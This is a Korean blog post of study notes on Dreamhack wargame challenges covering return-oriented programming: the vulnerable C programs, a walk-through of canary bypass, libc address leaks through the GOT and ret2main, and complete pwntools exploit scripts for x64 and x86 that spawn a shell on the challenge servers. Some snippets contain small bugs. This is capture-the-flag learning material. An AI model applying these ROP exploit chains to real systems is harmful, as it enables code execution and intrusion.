System Hacking

Bypass NX & ASLR(2) | dreamhack

burrri 2024. 3. 16. 03:02

ROP & basic_rop_x64 실습 

Return Oriented Programming (ROP)

https://dreamhack.io/wargame/challenges/354

 

공격기법 : 셸 코드에서 라이브러리 함수의 실행,  다수의 리턴 가젯을 연결해서 사용하는 ROP

: 현실적으로 ASLR이 걸린 환경에서 system함수를 사용하려면 process에서 libc가 매핑된 주소를 찾고, 

그 주소로부터 system 함수의 오프셋을 이용하여 함수의 주소를 계산

 

ROT  페이로드는 리턴 가젯으로 구성-> ret 단위로 여러 코드가 연쇄적으로 실행 (ROP chain)

 

rop.c 코드

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 

 

Exploit 설계

1. 카나리 우회

2. system함수의 주소 계산 

    : system함수는 libc.so.6에 정의 ( read, puts, printf 등도 포함)

   : 바이너리가 system을 직접 호출하지않으나, read, puts 등이 GOT에 등록되어있으므로 GOT를 읽을 수 있다.

   : libc 내의 데이터 사이의 거리를 알아놓으면 하나만 알아도 도움이 된다.

예) system - read 사이의 거리

0x114980- 0x50d60 =0xc3c20

 

3. "bin/sh"

데이터 영역에 /bin/sh문자열이 존재x 

-> 임의 버퍼에 직접 주입 참조 or 다른 파일에 포함된 것 사용

-> libc.so.6 속의 "/bin/sh" 이용

 

4. GOT Overwrite

system함수와 /bin/sh 문자열을 알고 있으므로, pop rdi; ret 가젯을 사용하여 system("/bin/sh")을 호출하자.

그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다..??

이러한 공격 패턴을 ret2main이라고 한다. 

 

: 알아낸 system함수 주소를 어떤 함수의 GOT에 쓰고 그 함수를 재호출하도록 ROP chain을 구성 하자.

 

Exploit

1. 카나리 우회 

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p=process('./rop')
e= ELF('./rop')


#leak canary 
buf = b'a' * 0x39
p.sendafter(b'Buf :',buf)
p.recvutil(buf)

cnry = u64(b'\x00' + p.recvn(7))
slog('canary ', cnry)

 

2. system함수의 주소 계산

read 함수의 GOT를 가지고 read함수와 system함수의 offset거리를 이용하여 system함수의 주소 계싼 

: ELF.symbols 메소드를 이용하여 심볼 사이의 offset 계산

 ++

추가 추가 공부


Basic_rop_x64

 

https://dreamhack.io/wargame/challenges/29

ASLR 적용, NX적용(셸코드 x) , canary와 PIE 미적용

 

canary가 없기 떄문에 stack 맨 위에 존재하는 sfp, ret와 그 뒤 주소를 마음대로 변경하여도 

프로세스가 자동 종료되지 않는다. 또한, pie가 적용되지 않기에 해당 바이너리가 실행되는 mem주소가 랜덤화되지 않는다.

 

코드분석 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf 0x40, read에서 0x400 크기 입력 -> bof 취약점 존재

 

Exploit 

목표 : system("/bin/sh") 실행

 

buf가 할당된 64바이트 뒤에 8바이트의 sfp, 8바이트의 ret이 존재 

-> 72바이트 만큼을 입력하여 buf, sfp을 더미 값으로

-> ret을 원하는 값으로 조작하자

 

read, write함수에 들어가는 buf의 주소는 rbp -0x40 

=> buf + 0x40 : sfp, buf+0x48이 exploit시 값을 조작해야하는 ret부분 

 

system 함수 주소 계산

ASLR이 걸려있기에  라이브러리가 매핑된 base 주소를 구하고 내부함수들의 거리를 구해서 system함수의 주소를 계산!

-> base주소 + system func offset

 

base 주소 : read함수의 주소 - read함수의 offset

read가 1번 실행되면, read의 함수 주소는 GOT에 등록 -> read함수의 주소 알 수 있다. 

 

/bin/sh 문자열 

system("/bin/sh")를 위해 문자열을 찾자 

start후에 search

libc.so.6라이브러리에 존재하는 것을 확인

->역시나 ASLR의 영향 O => 위와 동일하게 base주소 + "/bin/sh" 문자열 offset으로 주소를 구하자

 

"/bin/sh"문자열 offset구하기

  from pwn import *
   
  libc = ELF("./libc.so.6", checksec=False)
  sh = list(libc.search(b"/bin/sh"))[0]

 

 

시나리오

Base주소를 모르기에 ret2main 기법 이용

: 원하는 정보를 얻은 후, 다시 main으로 돌아와 명령을 이어 실행

1. write 함수를 이용하여 libc_base 구하기 
write(1,read@got,8)
: read@got 값을 출력하여 read 함수 주소 get
libc_base = read address - read offset

2. 이를 이용해 system함수, "/bin/sh" 주소 구하기
system = libc_base + system offset
"/bin/sh" = libc_base + "bin/sh" offset

3. 두 번째 main 함수 실행 시에 system("/bin/sh")를 실행   (ret2main)
write(1,read@got,8)의 코드 이후 main의 주소를 넣어서 ret을 조작 

셸 획득
pop rdi, ret가젯을 이용하여 system("/bin/sh") 호출 
find_gadget을 이용하여 가젯 구하기 

 

 

Explit code

from pwn import *

def slog(symbol, addr):
    return success(symbol + ": " + hex(addr))

#context.log_level = 'debug'

p = remote('host3.dreamhack.games', 11504)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = e.libc
libc = ELF("./libc.so.6", checksec=False)
r = ROP(e)

read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

# Stage 1
payload:bytes = b'A' * 0x48

# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)

# return to main
payload += p64(main)

p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = sh + lb

slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)

# Stage 2
payload: bytes = b'A' * 0x48

# system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

 

 

 


Basic_rop_x86

https://dreamhack.io/wargame/challenges/30

: i386 (32bit) 

ASLR, NX 적용 / canary, pie 미적용!

 

c코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf는 0x40 이지만, read로 0x400만큼 읽어들이고 wrtie로 씀 => bof 취약점! 

 

 

시나리오 

목표: system("/bin/sh")실행

위의 문제와 동일하게 64바이트를 buf에 할당, 4바이트의 sfp, 4바이트의 ret존재

 

$disass main

read, write함수에 들어가는 buf주소는 ebp-0x44 (68바이트)

=> buf +0x44 : sfp

=> buf +0x48: exploit 시 조작해야하는 ret 부분

 

system함수 주소 계산

base 주소 + system함수 offset

base 주소 = read함수 주소  - read offset

 

/bin/sh 문자열

base 주소 + "/bin/sh" offset

1. write 함수를 이용하여 lilc base 구하기
2. 이를 이용해  system함수, "/bin/sh" 주소 구하기
3. ret2main - read()을 이용하여 write()의 GOT주소에 system()의 실제 주소값
4. write() 를 재호출 하여 system()함수를 호출하도록 실행 

 

 

Exploit code

 

from pwn import *

p = remote('host3.dreamhack.games', 15319)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')

# plt와 got 받기 (read, write)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']


read_offset = libc.symbols['read']
system_offset = libc.symbols['system']

pop_esi_edi_ebp = 0x08048689 # pop rsi; pop edi; pop ebp; ret
pop_ret = pop_esi_edi_ebp + 2 ; pop ebp; ret

# bss의 주소 
bss=e.bss()

# buf + sfp
payload += b'a'*0x44 + b'b'*0x4

#write(1,read_got,4) : 함수 호출 규약이 64bit와 다르게 순서대로.
payload += p32(write_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

#read(0,bss,8)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

# read(0, write_got, 4)
payload += p32(read_plt)
payload += p32(pop_esi_edi_ebp)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

# write("/bin/sh", 0, 0) == system("/bin/sh")
payload += p32(write_plt)
payload += p32(pop_ret)
payload += p32(bss)

p.send(payload)
p.recv(0x40)

read_addr = u32(p.recvn(4))

lb = read_addr - read_offset
system_addr = lb + system_offset

print("libc base addr : ", lb)
print("system addr : ", system_addr)

p.send(b'/bin/sh\x00')
p.send(p32(system_addr))

p.interactive()

 

 

++

'System Hacking' 카테고리의 다른 글

PIE & RELRO (2) | dreamhack  (0) 2024.03.17
PIE & RELRO(1) | dreamhack  (0) 2024.03.16
Bypass NX & ASLR(1) | dreamhack  (0) 2024.03.15
BOF & Canary | dreamhack  (0) 2024.03.10
Basic Pentesting 1(1)  (0) 2024.01.11